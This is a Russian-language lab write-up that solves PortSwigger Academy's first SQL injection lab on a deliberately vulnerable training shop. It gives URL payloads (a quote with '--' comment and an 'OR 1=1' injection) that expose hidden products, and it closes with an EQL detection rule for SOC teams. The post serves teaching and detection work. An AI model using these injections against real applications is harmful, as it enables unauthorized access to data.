Pull to refresh

[PortSwigger, 1/16 SQLi] Уязвимость SQL-инъекций в предложении WHERE, позволяющая извлекать скрытые данные

Original author: PortSwigger Academy

Вступление

Не знаю, какие принято писать слова перед разбором лаб с различных образовательных ресурсов, но сегодня мы будем решать нашу первую лабораторную работу на PortSwigger Academy! https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data

Ухх, щас как научимся хекать все что хекается, ухх!
Ухх, щас как научимся хекать все что хекается, ухх!

Постановка задачи

Эта лабораторная работа содержит уязвимость SQL-инъекции в фильтре категорий продуктов. Когда пользователь выбирает категорию, приложение выполняет следующий SQL-запрос:

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

Чтобы решить лабораторную задачу, выполните атаку с внедрением SQL-кода, которая заставит приложение отображать сведения обо всех продуктах в любой категории, как выпущенных, так и не выпущенных.

Душная теория, которую ты пропустишь

Нас встречает онлайн-магазин, над которым мы будем издеваться учиться использовать SQL - инъекции

(за обновление хрома просьба не стебаться)
(за обновление хрома просьба не стебаться)

И при нажатии на различные категории видим, что URL страницы изменяется https://0abc00b403d39d85c0ce08a40091006d.web-security-academy.net/filter?category=Pets

При каждом запросе из браузера, делается запрос в местную БД

SELECT * FROM products WHERE category = 'Pets' AND released = 1

И если у приложения нет защиты от атак SQL-инъекций, то мы можем построить атаку следующим образом:

https://0abc00b403d39d85c0ce08a40091006d.web-security-academy.net/products?category=Pets'--

Это приводит к SQL-запросу:

SELECT * FROM products WHERE category = 'Pets'--' AND released = 1

Важной особенностью является то, что последовательность из двойного тире --является индикатором комментария в SQL и означает, что остальная часть запроса понимается бэком как комментарий. Это и удаляет оставшуюся часть запроса, поэтому он больше не включает файлы AND released = 1. Это означает, что отображаются все продукты, включая невыпущенные продукты.

Идя дальше, злоумышленник может заставить приложение отображать все продукты в любой категории, включая категории, о которых он не знает:

https://0abc00b403d39d85c0ce08a40091006d.web-security-academy.net/products?category=Pets'--' OR 1=1--

Это приводит к SQL-запросу:

SELECT * FROM products WHERE category = 'Pets' OR 1=1--' AND released = 1

Модифицированный запрос вернет все элементы, где либо категория «Pets», либо 1 равно 1. Поскольку 1=1всегда верно, запрос вернет все элементы.

Решение лабораторной работы

Попробуем добавить ' в конце строки, чтобы понять, уязвима ли страница к атакам такого рода, и получаем что она действительно уязвима

Если вдруг кто забыл, то ' = %27 в HTML URL Encoding
Если вдруг кто забыл, то ' = %27 в HTML URL Encoding

Далее, на основе вышеизложенных принципов, введем в URL строку

https://0abc00b403d39d85c0ce08a40091006d.web-security-academy.net/products?category=Pets'--' OR 1=1--

И поздравляю! На этом моменте Вы решили свою первую лабораторную работу на PortSwigger Academy!

Коллегам из SOC

Если у вас KPI завязан на создании новых правил, и вы параноик 80 lvl, что думаете, что вышеизложенная уязвимость доступна в вашей инфре - то вы определенно зашли в нужное место

Правила написаны в синтаксисе EQL (да, это который тот самый эластик), просто потому что скромен и удобен, и перенести его логику на любую другую SIEM у Вас не должно вызвать труда

Не знаю, декодируется ли у вас URL

Возможная логика правила для данной атаки:

url.path: ".*(%27|').*--" and http.response.status_code: 200

а проверить работает ли данная регулярка всегда можно на https://regex101.com/

Tags:
Hubs:
You can’t comment this publication because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.